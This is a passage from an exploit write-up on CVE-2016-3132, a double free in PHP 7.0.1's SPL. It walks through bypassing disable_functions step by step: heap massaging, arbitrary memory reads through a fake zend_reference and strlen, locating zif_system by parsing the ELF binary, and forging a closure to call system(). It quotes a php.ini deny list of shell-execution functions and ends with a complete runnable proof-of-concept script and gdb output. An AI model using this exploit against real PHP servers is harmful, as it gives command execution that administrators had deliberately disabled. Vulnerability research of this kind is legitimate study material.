r15 0x7ffff588b1a0 140737312764320
rip 0xdeadbeef 0xdeadbeef
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs
...
We are now able to control RIP
.
Bypass disabled functions
The ability to read and write in the memory can be useful in another way:
- Bypassing the disabled functions.
To disable the use of some functions in the php
interpreter, write the
following file:
File: local_php.ini
# list of function to disable globally
disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
allow_url_fopen=Off
allow_url_include=Off
Then let’s run the interpreter by specifying the configuration file local_php.ini and the PHP script example_2.php.
File: example_2.php
<?php
system("id");
?>
./bin/php-7.0.1-main -c php.ini example_2.php
Warning: system() has been disabled for security reasons in example_2.php on line 3
It is not possible to call directly the system()
function but its address is
still present in the process memory. So we will have to read the memory of our
process to find its address. However so far we have only been able to read the
memory present after our corrupted object, so we will need to read the memory
prior to this object.
Several strategies can be established to call system()
, but ours is the
following:
- Read process memory.
- Identify
system()
’s address (zif_system
handler). - Overwrite a function’s handler with
system()
address.
Let’s start by creating a class that will be useful for the exploitation:
...
// Object use to help bypass disabled functions.
class Helper {
public $a, $b, $c, $d;
}
...
# As explained in object's class
# definition this object is used
# to help bypass disabled functions.
$helper = new Helper;
$helper->a = 0x1334;
$helper->b = function ($x) {};
# The following two properties are
# not necessary but are usefull for
# debug purpose because we are noobs.
$helper->c = 0x1335;
$helper->d = 0x1336;
if ($DEBUG) {
var_dump($helper);
}
...
Our goal will be to use the property a
($helper->a
) for reading in the
memory and to overwrite the property b
($helper->b
) to call the function
system()
. The last two properties are just useful to find ourselves in the
memory while using gdb
, so let’s explore $helper
.
$helper
After the code above this is what $helper
looks like:
(gdb) print (zend_object)*0x7ffff58957e0
$53 = {
gc = {
refcount = 2,
u = {
v = {
type = 8 '\b',
flags = 0 '\000',
gc_info = 0
},
type_info = 8
}
},
handle = 53,
ce = 0x7ffff5803018,
handlers = 0x555555ecd820 <std_object_handlers>,
properties = 0x0,
properties_table = {{
value = {
lval = 4916,
dval = 2.428826714955568e-320,
counted = 0x1334,
str = 0x1334,
arr = 0x1334,
obj = 0x1334,
res = 0x1334,
ref = 0x1334,
ast = 0x1334,
zv = 0x1334,
ptr = 0x1334,
ce = 0x1334,
func = 0x1334,
ww = {
w1 = 4916,
w2 = 0
}
},
u1 = {
v = {
type = 4 '\004',
type_flags = 0 '\000',
const_flags = 0 '\000',
reserved = 0 '\000'
},
type_info = 4
},
u2 = {
var_flags = 741368440,
next = 741368440,
cache_slot = 741368440,
lineno = 741368440,
num_args = 741368440,
fe_pos = 741368440,
fe_iter_idx = 741368440
}
}}
}
Which can also be explored in the following way:
(gdb) x/40x 0x7ffff58957e0
0x7ffff58957e0: 0x00000002 0x00000008 0x00000035 0x00000000
0x7ffff58957f0: 0xf5803018 0x00007fff 0x55ecd820 0x00005555
0x7ffff5895800: 0x00000000 0x00000000 0x00001334 0x00000000
0x7ffff5895810: 0x00000004 0x2c306278 0xf585cf00 0x00007fff
0x7ffff5895820: 0x00000c08 0x7265766f 0x00001335 0x00000000
0x7ffff5895830: 0x00000004 0x64612074 0x00001336 0x00000000
0x7ffff5895840: 0x00000004 0x38356666 0x37373539 0x00000a30
0x7ffff5895850: 0x00000001 0x00000006 0x00000000 0x00000000
0x7ffff5895860: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff5895870: 0x00000000 0x00000000 0x00000000 0x00000000
$helper->a
(gdb) print &((zend_object)*0x7ffff58957e0)->properties_table[0]
$55 = (zval *) 0x7ffff5895808
(gdb) print ((zend_object)*0x7ffff58957e0)->properties_table[0]
$56 = {
value = {
lval = 4916,
dval = 2.428826714955568e-320,
counted = 0x1334,
str = 0x1334,
arr = 0x1334,
obj = 0x1334,
res = 0x1334,
ref = 0x1334,
ast = 0x1334,
zv = 0x1334,
ptr = 0x1334,
ce = 0x1334,
func = 0x1334,
ww = {
w1 = 4916,
w2 = 0
}
},
u1 = {
v = {
type = 4 '\004',
type_flags = 0 '\000',
const_flags = 0 '\000',
reserved = 0 '\000'
},
type_info = 4
},
u2 = {
var_flags = 741368440,
next = 741368440,
cache_slot = 741368440,
lineno = 741368440,
num_args = 741368440,
fe_pos = 741368440,
fe_iter_idx = 741368440
}
}
Because $helper->a
corresponds to an integer then the zval
structure
contains directly the value of the integer and not a pointer to another
structure as stated in the documentation.
$helper->b
(gdb) print &((zend_object)*0x7ffff58957e0)->properties_table[1]
$58 = (zval *) 0x7ffff5895818
(gdb) print ((zend_object)*0x7ffff58957e0)->properties_table[1]
$59 = {
value = {
lval = 140737312575232,
dval = 6.9533471231443387e-310,
counted = 0x7ffff585cf00,
str = 0x7ffff585cf00,
arr = 0x7ffff585cf00,
obj = 0x7ffff585cf00,
res = 0x7ffff585cf00,
ref = 0x7ffff585cf00,
ast = 0x7ffff585cf00,
zv = 0x7ffff585cf00,
ptr = 0x7ffff585cf00,
ce = 0x7ffff585cf00,
func = 0x7ffff585cf00,
ww = {
w1 = 4119187200,
w2 = 32767
}
},
u1 = {
v = {
type = 8 '\b',
type_flags = 12 '\f',
const_flags = 0 '\000',
reserved = 0 '\000'
},
type_info = 3080
},
u2 = {
var_flags = 1919252079,
next = 1919252079,
cache_slot = 1919252079,
lineno = 1919252079,
num_args = 1919252079,
fe_pos = 1919252079,
fe_iter_idx = 1919252079
}
}
$helper->b
is an anonymous functions (closures).
Anonymous functions, also known as closures, allow the creation of functions which have no specified name. They are most useful as the value of callable parameters, but they have many other uses.
Anonymous functions are implemented using the Closure class. - https://www.php.net/manual/en/functions.anonymous.php
File: Zend/zend_closures.c
...
typedef struct _zend_closure {
zend_object std;
zend_function func;
zval this_ptr;
zend_class_entry *called_scope;
void (*orig_internal_handler)(INTERNAL_FUNCTION_PARAMETERS);
} zend_closure;
...
It can be explored in gdb
as follow:
(gdb) print (zend_closure)*0x7ffff585cf00
$65 = {
std = {
gc = {
refcount = 1,
u = {
v = {
type = 8 '\b',
flags = 0 '\000',
gc_info = 0
},
type_info = 8
}
},
handle = 54,
ce = 0x555555f54c10,
handlers = 0x555555ef4160 <closure_handlers>,
properties = 0x0,
properties_table = {{
value = {
lval = 0,
dval = 0,
counted = 0x0,
str = 0x0,
arr = 0x0,
obj = 0x0,
res = 0x0,
ref = 0x0,
ast = 0x0,
zv = 0x0,
ptr = 0x0,
ce = 0x0,
func = 0x0,
ww = {
w1 = 0,
w2 = 0
}
},
u1 = {
v = {
type = 0 '\000',
type_flags = 0 '\000',
const_flags = 0 '\000',
reserved = 0 '\000'
},
type_info = 0
},
u2 = {
var_flags = 0,
next = 0,
cache_slot = 0,
lineno = 0,
num_args = 0,
fe_pos = 0,
fe_iter_idx = 0
}
}}
},
func = {
type = 2 '\002',
common = {
type = 2 '\002',
arg_flags = "\000\000",
fn_flags = 135266304,
function_name = 0x7ffff5802c30,
scope = 0x0,
prototype = 0x7ffff585cf00,
num_args = 1,
required_num_args = 1,
arg_info = 0x7ffff58550c0
},
op_array = {
type = 2 '\002',
arg_flags = "\000\000",
fn_flags = 135266304,
function_name = 0x7ffff5802c30,
scope = 0x0,
prototype = 0x7ffff585cf00,
num_args = 1,
required_num_args = 1,
arg_info = 0x7ffff58550c0,
refcount = 0x7ffff5871060,
this_var = 4294967295,
last = 2,
opcodes = 0x7ffff5861240,
last_var = 1,
T = 0,
vars = 0x7ffff5871068,
last_brk_cont = 0,
last_try_catch = 0,
brk_cont_array = 0x0,
try_catch_array = 0x0,
static_variables = 0x0,
filename = 0x7ffff5861040,
line_start = 186,
line_end = 186,
doc_comment = 0x0,
early_binding = 4294967295,
last_literal = 1,
literals = 0x7ffff58740b0,
cache_size = 0,
run_time_cache = 0x7ffff5804b18,
reserved = {0x0, 0x0, 0x0, 0x0}
},
internal_function = {
type = 2 '\002',
arg_flags = "\000\000",
fn_flags = 135266304,
function_name = 0x7ffff5802c30,
scope = 0x0,
prototype = 0x7ffff585cf00,
num_args = 1,
required_num_args = 1,
arg_info = 0x7ffff58550c0,
handler = 0x7ffff5871060,
module = 0x2ffffffff,
reserved = {0x7ffff5861240, 0x1, 0x7ffff5871068, 0x0}
}
},
this_ptr = {
value = {
lval = 0,
dval = 0,
counted = 0x0,
str = 0x0,
arr = 0x0,
obj = 0x0,
res = 0x0,
ref = 0x0,
ast = 0x0,
zv = 0x0,
ptr = 0x0,
ce = 0x0,
func = 0x0,
ww = {
w1 = 0,
w2 = 0
}
},
u1 = {
v = {
type = 0 '\000',
type_flags = 0 '\000',
const_flags = 0 '\000',
reserved = 0 '\000'
},
type_info = 0
},
u2 = {
var_flags = 0,
next = 0,
cache_slot = 0,
lineno = 0,
num_args = 0,
fe_pos = 0,
fe_iter_idx = 0
}
},
called_scope = 0x0,
orig_internal_handler = 0x0
}
What we are interested in this object are func->internal_function->type
and
func->internal_function->handler
because it is these values that we will
modify to be able to call system()
. We want func->internal_function->type
to be equal to 1
and func->internal_function->handler
to take the address of
system()
.
(gdb) print ((zend_closure)*0x7ffff585cf00)->func
$66 = {
type = 2 '\002',
common = {
type = 2 '\002',
arg_flags = "\000\000",
fn_flags = 135266304,
function_name = 0x7ffff5802c30,
scope = 0x0,
prototype = 0x7ffff585cf00,
num_args = 1,
required_num_args = 1,
arg_info = 0x7ffff58550c0
},
op_array = {
type = 2 '\002',
arg_flags = "\000\000",
fn_flags = 135266304,
function_name = 0x7ffff5802c30,
scope = 0x0,
prototype = 0x7ffff585cf00,
num_args = 1,
required_num_args = 1,
arg_info = 0x7ffff58550c0,
refcount = 0x7ffff5871060,
this_var = 4294967295,
last = 2,
opcodes = 0x7ffff5861240,
last_var = 1,
T = 0,
vars = 0x7ffff5871068,
last_brk_cont = 0,
last_try_catch = 0,
brk_cont_array = 0x0,
try_catch_array = 0x0,
static_variables = 0x0,
filename = 0x7ffff5861040,
line_start = 186,
line_end = 186,
doc_comment = 0x0,
early_binding = 4294967295,
last_literal = 1,
literals = 0x7ffff58740b0,
cache_size = 0,
run_time_cache = 0x7ffff5804b18,
reserved = {0x0, 0x0, 0x0, 0x0}
},
internal_function = {
type = 2 '\002',
arg_flags = "\000\000",
fn_flags = 135266304,
function_name = 0x7ffff5802c30,
scope = 0x0,
prototype = 0x7ffff585cf00,
num_args = 1,
required_num_args = 1,
arg_info = 0x7ffff58550c0,
handler = 0x7ffff5871060,
module = 0x2ffffffff,
reserved = {0x7ffff5861240, 0x1, 0x7ffff5871068, 0x0}
}
}
(gdb) print ((zend_closure)*0x7ffff585cf00)->func->internal_function
$69 = {
type = 2 '\002',
arg_flags = "\000\000",
fn_flags = 135266304,
function_name = 0x7ffff5802c30,
scope = 0x0,
prototype = 0x7ffff585cf00,
num_args = 1,
required_num_args = 1,
arg_info = 0x7ffff58550c0,
handler = 0x7ffff5871060,
module = 0x2ffffffff,
reserved = {0x7ffff5861240, 0x1, 0x7ffff5871068, 0x0}
}
We will need to obtain the offsets of these values within the structure
zend_closure
in order to rewrite them:
func->internal_function->type
need to be set to1
.func->internal_function->handler
need to be set tosystem()
address.
Why func->internal_function->type
need to be set to 1
?
Because in the following file we have:
File: Zend/zend_closures.c
...
static void zend_closure_free_storage(zend_object *object) /* {{{ */
{
zend_closure *closure = (zend_closure *)object;
zend_object_std_dtor(&closure->std);
if (closure->func.type == ZEND_USER_FUNCTION) {
...
destroy_op_array(&closure->func.op_array);
}
...
ZEND_USER_FUNCTION
is set to 2
, and we don’t want to enter the if
condition. In addition I tested values greater than 2 (eg. 3, 4, …, 16, etc.)
but this triggers the following exception:
Fatal error: Uncaught Error: Cannot call overloaded function for non-object in <HIDDEN>:277
Stack trace:
#0 [internal function]: exception_handler(Object(OutOfRangeException))
#1 {main}
thrown in <HIDDEN> on line 277
We are therefore forced to make func->internal_function->type
equal to 1
.
Let’s calculate the offsets.
type
(gdb) print &((zend_closure)*0x7ffff585cf00)->func->internal_function->type
$73 = (zend_uchar *) 0x7ffff585cf38 "\002"
Using python
:
>>> hex(0x7ffff585cf38-0x7ffff585cf00)
'0x38'
handler
(gdb) print &((zend_closure)*0x7ffff585cf00)->func->internal_function->handler
$74 = (void (**)(zend_execute_data *, zval *)) 0x7ffff585cf68
Using python
:
>>> hex(0x7ffff585cf68-0x7ffff585cf00)
'0x68'
func->internal_function->type
:0x38
func->internal_function->handler
:0x68
Reading arbitrary memory
To read the memory in an arbitrary way we will use a trick. We will use
strlen()
function which is actually more of a macro than a function.
File: Zend/zend_string.h
...
#define ZSTR_LEN(zstr) (zstr)->len
...
You have the right to ask why?
The reason is the following, we will transform $helper->a
from an integer to a
reference. To do this we will change the type of $helper->a
from 4
(IS_LONG = 4
) to 10
(IS_REFERENCE = 10
) and make $helper->a
point to a
zend_reference
written in a memory area that we control (after $overlapped
).
We will define this reference as a string via its type
set to 6
(IS_STRING = 6
) and make it point to an arbitrary address of our choice. This
reference being a string we will use strlen
function to leak information from
the heap because strlen
will return to us a value 16 bytes after the address
the reference is pointing to.
File: Zend/zend_types.h
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};
So let’s imagine that we want to read the content of the address X
, we will
have to subtract 16
from this address to compensate the decallage introduced
by strlen
. So we will make our resource point to X-16
or (X-0xa
).
Let’s create our fake zend_resource
:
...
// When we write, we start writing to the _zend_string
// structure at offset 24 (0x18) where val[1] takes place.
// Now we will write the a fake _zend_reference in the heap.
$fake_zend_reference = $elt50th + 0x18 + 0x200;
print "[+] Creating fake zend_reference at: 0x" . dechex($fake_zend_reference) ."\n";
// Creates a fake structure _zend_reference at address $fake_zend_reference.
// Write fake gc.
write($overlapped, 0x200, 0x2, 0x1);
// Write fake val.
write($overlapped, 0x208, 0x4141414141414141, 0x8);
// Write fake type (6 == IS_STRING).
write($overlapped, 0x210, 0x6, 0x1);
...
Modify $helper->a
and make it point to our fake zend_resource
:
...
# Calculating $helper's address.
$helper_address = $elt50th + 0x70;
print "[*] \$helper is at: 0x" . dechex($helper_address) ."\n";
print "[+] Overwriting \$helper first property address and type (from integer to ressource).\n";
# Overwriting helper first property to make
# it point to the fake zend_reference previously
# created ($fake_zend_reference).
write($overlapped, 0x80, $fake_zend_reference, 0x8);
# Changing the type of the object
# to reference (IS_REFERENCE = 10).
write($overlapped, 0x88, 0xa, 0x1);
...
Choose an address we want to read:
...
# Calculating $helper's handlers address.
$helper_std_object_handlers = str2ptr($overlapped, 0x70, 0x8, "l");
print "[+] \$helper's handlers is at: 0x" . dechex($helper_std_object_handlers) ."\n";
# Start leaking arbitrary memory from dereferenced $helper's handlers.
$binary_leak = leak_through_len($helper_std_object_handlers, 8);
print "[+] Binary leak at: 0x" . dechex($binary_leak) ."\n";
...
Where leak_through_len
corresponds to the function that will allow us to read
in the memory in an arbitrary way:
function leak_through_len($address, $offset = 0, $size = 8) {
global $overlapped, $helper;
write($overlapped, 0x208, $address + $offset - 0x10);
$leak = strlen($helper->a);
if($size != 8) {
$leak %= 2 << ($size * 8) - 1;
}
return $leak;
}
Exploitation
Now that we are able to read in the memory in an arbitrary way, let’s find the ELF header using functions written by mm0r1:
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak_through_len($addr, 0, 7);
# Looking for ELF header
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
And parse the ELF binary:
function parse_elf($base) {
$e_type = leak_through_len($base, 0x10, 2);
$e_phoff = leak_through_len($base, 0x20);
$e_phentsize = leak_through_len($base, 0x36, 2);
$e_phnum = leak_through_len($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak_through_len($header, 0, 4);
$p_flags = leak_through_len($header, 4, 4);
$p_vaddr = leak_through_len($header, 0x10);
$p_memsz = leak_through_len($header, 0x28);
# PT_LOAD, PF_Read_Write
if($p_type == 1 && $p_flags == 6) {
# Handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
}
# PT_LOAD, PF_Read_exec
else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
We need to get the address of basic_functions
in order to find the address of
system()
(zif_system
handler) but first let’s explore what we are looking
for using gdb
:
(gdb) print basic_functions_module
$5 = {
size = 168,
zend_api = 20151012,
zend_debug = 0 '\000',
zts = 0 '\000',
ini_entry = 0x0,
deps = 0x555555e65ba0 <standard_deps>,
name = 0x555555d66b39 "standard",
functions = 0x555555ebfb00 <basic_functions>,
module_startup_func = 0x555555841280 <zm_startup_basic>,
module_shutdown_func = 0x555555840c90 <zm_shutdown_basic>,
request_startup_func = 0x55555583d160 <zm_activate_basic>,
request_shutdown_func = 0x55555583d470 <zm_deactivate_basic>,
info_func = 0x55555583d670 <zm_info_basic>,
version = 0x555555d96d97 "7.0.1",
globals_size = 0,
globals_ptr = 0x0,
globals_ctor = 0x0,
globals_dtor = 0x0,
post_deactivate_func = 0x0,
module_started = 0,
type = 1 '\001',
handle = 0x0,
module_number = 21,
build_id = 0x55555598aeae "API20151012,NTS"
}
(gdb) print basic_functions_module->functions
$16 = (const struct _zend_function_entry *) 0x555555ebfb00 <basic_functions>
(gdb) print basic_functions_module->functions[0]
$6 = {
fname = 0x555555d75b2e "constant",
handler = 0x55555583d7c0 <zif_constant>,
arg_info = 0x555555e6d900 <arginfo_constant>,
num_args = 1,
flags = 0
}
(gdb) print &basic_functions_module->functions[0]
$24 = (const struct _zend_function_entry *) 0x555555ebfb00 <basic_functions>
(gdb) print basic_functions_module->functions[1]
$7 = {
fname = 0x555555d75b37 "bin2hex",
handler = 0x555555866110 <zif_bin2hex>,
arg_info = 0x555555e67f20 <arginfo_bin2hex>,
num_args = 1,
flags = 0
}
(gdb) print &basic_functions_module->functions[1]
$23 = (const struct _zend_function_entry *) 0x555555ebfb20 <basic_functions+32>
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak_through_len($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak_through_len($leak);
# Looking for "constant"
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak_through_len($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak_through_len($leak);
# Looking for "bin2hex"
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
Once we have the address of basic_functions_module->functions
we need to
iterate until we find the address of system()
.
(gdb) print basic_functions_module->functions[118]
$9 = {
fname = 0x555555d75f2f "system",
handler = 0x555555847c00 <zif_system>,
arg_info = 0x555555e6c4a0 <arginfo_system>,
num_args = 2,
flags = 0
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak_through_len($addr);
$f_name = leak_through_len($f_entry, 0, 6);
# Looking for "system"
if($f_name == 0x6d6574737973) {
return leak_through_len($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
The system()
address having been obtained, we only have to create a fake
zend_closure
(by copying an existing one for example) structure and replace
its handler with the one of zif_system
.
...
# Calculating helper->b property offset.
$helper_b_property = $helper_address + 0x38;
# Calculating helper->b property offset.
$relative_offset = $helper_b_property - ($elt50th + 0x18);
# Calculating helper->b's (zend_closure) address.
$real_helper_b = str2ptr($overlapped, $relative_offset, 0x8, "l");
print "[+] \$helper->b point to: 0x" . dechex($real_helper_b) ."\n";
# Creating a copy of $helper->b (zend_closure) further in memory.
$fake_zend_closure = $elt50th + 0x18 + 0x400;
print "[+] Creating fake zend_closure at: 0x" . dechex($fake_zend_closure) ."\n";
for($i = 0; $i < 0x128; $i += 8) {
write($overlapped, 0x400 + $i, leak_through_len($real_helper_b, $i));
}
# Overwriting fake zend_closure type and handler.
write($overlapped, 0x400 + 0x38, 1, 4);
print "[+] Overwriting fake zend_closure's handler with zif_system.\n";
write($overlapped, 0x400 + 0x68, $zif_system);
# Overwriting $helper->b pointer with address of $fake_zend_closure.
print "[+] Overwriting \$helper->b pointer with address of \$fake_zend_closure.\n";
write($overlapped, $relative_offset, $fake_zend_closure);
if ($DEBUG) {
var_dump($helper);
}
print "[+] Triggering system.\n";
($helper->b)("id");
exit();
POC
If we put everything together since the beginning, we get the following code:
File: CVE-2016-3132_4_bypass_disabled_functions.php
<?php
$DEBUG = 0;
// Global variable use to bypass disabled functions.
global $overlapped, $helper;
// Object use to help bypass disabled functions.
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $offset=0, $size=8, $endianness="l") {
$address = 0;
if ($endianness === "l") {
for($i = $size-1; $i >= 0; $i--) {
$address <<= 8;
$address |= ord($str[$offset+$i]);
}
}
return $address;
}
function write(&$str, $offset, $value, $size=8) {
for($i = 0; $i < $size; $i++) {
$str[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
}
function leak_through_len($address, $offset = 0, $size = 8) {
global $overlapped, $helper;
write($overlapped, 0x208, $address + $offset - 0x10);
$leak = strlen($helper->a);
if($size != 8) {
$leak %= 2 << ($size * 8) - 1;
}
return $leak;
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak_through_len($addr, 0, 7);
# Looking for ELF header
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function parse_elf($base) {
$e_type = leak_through_len($base, 0x10, 2);
$e_phoff = leak_through_len($base, 0x20);
$e_phentsize = leak_through_len($base, 0x36, 2);
$e_phnum = leak_through_len($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak_through_len($header, 0, 4);
$p_flags = leak_through_len($header, 4, 4);
$p_vaddr = leak_through_len($header, 0x10);
$p_memsz = leak_through_len($header, 0x28);
# PT_LOAD, PF_Read_Write
if($p_type == 1 && $p_flags == 6) {
# Handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
}
# PT_LOAD, PF_Read_exec
else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak_through_len($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak_through_len($leak);
# Looking for "constant"
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak_through_len($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak_through_len($leak);
# Looking for "bin2hex"
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak_through_len($addr);
$f_name = leak_through_len($f_entry, 0, 6);
# Looking for "system"
if($f_name == 0x6d6574737973) {
return leak_through_len($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class customSplFixedArray extends SplFixedArray {
public function offsetSet($index, $newval) {}
public function offsetUnset($index) {
parent::offsetUnset($index);
}
}
function exception_handler($exception) {
global $DEBUG, $heap_massage, $overlapped, $helper;
// Allocate a string that will fit in
// $heap_massage[50] memory space.
$overlapped = str_repeat("C", 0x48);
if ($DEBUG) {
var_dump($overlapped);
}
// Allocate a customSplFixedArray that
// will overlap previously allocated
// string.
$overlapping = new customSplFixedArray(5);
if ($DEBUG) {
var_dump($overlapping);
}
if ($DEBUG) {
var_dump($heap_massage[52]);
}
if ($DEBUG) {
var_dump($heap_massage[51]);
}
unset($heap_massage[52]);
unset($heap_massage[51]);
// Because 51th elt is now the head
// of the free list it will point ont
// 52th elt which have been free before.
// Leaking of an address from the heap.
$offset = 0x58;
$leak = str2ptr($overlapped, $offset, 0x8, "l");
print "[+] Leaking heap address: 0x" . dechex($leak) . " at offset 0x" . dechex($offset) . "\n";
// Identification of the first freed object.
$offset = 0x40;
$elt52th = $leak + $offset;
print "[*] Adding empiric shift: +0x" . dechex($offset) . ", 52th elt is at address: 0x" . dechex($elt52th) ."\n";
// Identification of the second freed object.
$offset = 0x70;
$elt51th = $elt52th - $offset;
print "[*] Adding empiric shift: -0x" . dechex($offset) . ", 51th elt is at address: 0x" . dechex($elt51th) ."\n";
// Identification of the memory address under
// our control.
$offset = 0xb0;
$elt50th = $elt51th - $offset;
print "[*] Adding empiric shift: -0x" . dechex($offset) . ", 50th elt (\$overlapped) is at address: 0x" . dechex($elt50th) ."\n";
# As explained in object's class
# definition this object is used
# to help bypass disabled functions.
$helper = new Helper;
$helper->a = 0x1334;
$helper->b = function ($x) {};
# The following two properties are
# not necessary but are usefull for
# debug purpose because we are noobs.
$helper->c = 0x1335;
$helper->d = 0x1336;
if ($DEBUG) {
var_dump($helper);
}
// When we write, we start writing to the _zend_string
// structure at offset 24 (0x18) where val[1] takes place.
// Now we will write the a fake _zend_reference in the heap.
$fake_zend_reference = $elt50th + 0x18 + 0x200;
print "[+] Creating fake zend_reference at: 0x" . dechex($fake_zend_reference) ."\n";
// Creates a fake structure _zend_reference at address $fake_zend_reference.
// Write fake gc.
write($overlapped, 0x200, 0x2, 0x1);
// Write fake val.
write($overlapped, 0x208, 0x4141414141414141, 0x8);
// Write fake type (6 == IS_STRING).
write($overlapped, 0x210, 0x6, 0x1);
# Calculating $helper's address.
$helper_address = $elt50th + 0x70;
print "[*] \$helper is at: 0x" . dechex($helper_address) ."\n";
print "[+] Overwriting \$helper first property address and type (from integer to ressource).\n";
# Overwriting helper first property to make
# it point to the fake zend_reference previously
# created ($fake_zend_reference).
write($overlapped, 0x80, $fake_zend_reference, 0x8);
# Changing the type of the object
# to reference (IS_REFERENCE = 10).
write($overlapped, 0x88, 0xa, 0x1);
# Calculating $helper's handlers address.
$helper_std_object_handlers = str2ptr($overlapped, 0x70, 0x8, "l");
print "[+] \$helper's handlers is at: 0x" . dechex($helper_std_object_handlers) ."\n";
# Start leaking arbitrary memory from dereferenced $helper's handlers.
$binary_leak = leak_through_len($helper_std_object_handlers, 8);
print "[+] Binary leak at: 0x" . dechex($binary_leak) ."\n";
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
print "[+] Binary base is at: 0x" . dechex($base) ."\n";
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
print "[+] ELF header is at: 0x" . dechex($elf[0]) ."\n";
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't basic_functions_module->functions address");
}
print "[+] basic_functions_module->functions start at: 0x" . dechex($basic_funcs) ."\n";
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
print "[+] zif_system is at: 0x" . dechex($zif_system) ."\n";
# Calculating helper->b property offset.
$helper_b_property = $helper_address + 0x38;
# Calculating helper->b property offset.
$relative_offset = $helper_b_property - ($elt50th + 0x18);
# Calculating helper->b's (zend_closure) address.
$real_helper_b = str2ptr($overlapped, $relative_offset, 0x8, "l");
print "[+] \$helper->b point to: 0x" . dechex($real_helper_b) ."\n";
# Creating a copy of $helper->b (zend_closure) further in memory.
$fake_zend_closure = $elt50th + 0x18 + 0x400;
print "[+] Creating fake zend_closure at: 0x" . dechex($fake_zend_closure) ."\n";
for($i = 0; $i < 0x128; $i += 8) {
write($overlapped, 0x400 + $i, leak_through_len($real_helper_b, $i));
}
# Overwriting fake zend_closure type and handler.
write($overlapped, 0x400 + 0x38, 1, 4);
print "[+] Overwriting fake zend_closure's handler with zif_system.\n";
write($overlapped, 0x400 + 0x68, $zif_system);
# Overwriting $helper->b pointer with address of $fake_zend_closure.
print "[+] Overwriting \$helper->b pointer with address of \$fake_zend_closure.\n";
write($overlapped, $relative_offset, $fake_zend_closure);
if ($DEBUG) {
var_dump($helper);
}
print "[+] Triggering system.\n";
($helper->b)("id");
exit();
}
set_exception_handler('exception_handler');
// Create a SplStack object because
// SplStack extends SplDoublyLinkedList.
$bug = new SplStack();
// Massage the heap.
$heap_massage = array();
for ($i=0; $i<100; $i++) {
$heap_massage[$i] = new SplFixedArray(5);
}
// Make a hole in the heap.
unset($heap_massage[50]);
// Allocate the new SplFixedArray object to previously
// freed space (50th). And double free this newly created
// object. this will trigger an exception catch by
// exception_handler() function.
$bug->offsetSet(0, new SplFixedArray);
?>
Result:
Starting program: <HIDDEN>/bin/php-7.0.1-main -c php.ini CVE-2016-3132_4_bypass_disabled_functions.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[+] Leaking heap address: 0x7ffff5895850 at offset 0x58
[*] Adding empiric shift: +0x40, 52th elt is at address: 0x7ffff5895890
[*] Adding empiric shift: -0x70, 51th elt is at address: 0x7ffff5895820
[*] Adding empiric shift: -0xb0, 50th elt ($overlapped) is at address: 0x7ffff5895770
[+] Creating fake zend_reference at: 0x7ffff5895988
[*] $helper is at: 0x7ffff58957e0
[+] Overwriting $helper first property address and type (from integer to ressource).
[+] $helper's handlers is at: 0x555555ecd820
[+] Binary leak at: 0x5555559307a0
[+] Binary base is at: 0x555555554000
[+] ELF header is at: 0x555555e423b0
[+] basic_functions_module->functions start at: 0x555555ebfb00
[+] zif_system is at: 0x555555847c00
[+] $helper->b point to: 0x7ffff585cc80
[+] Creating fake zend_closure at: 0x7ffff5895b88
[+] Overwriting fake zend_closure's handler with zif_system.
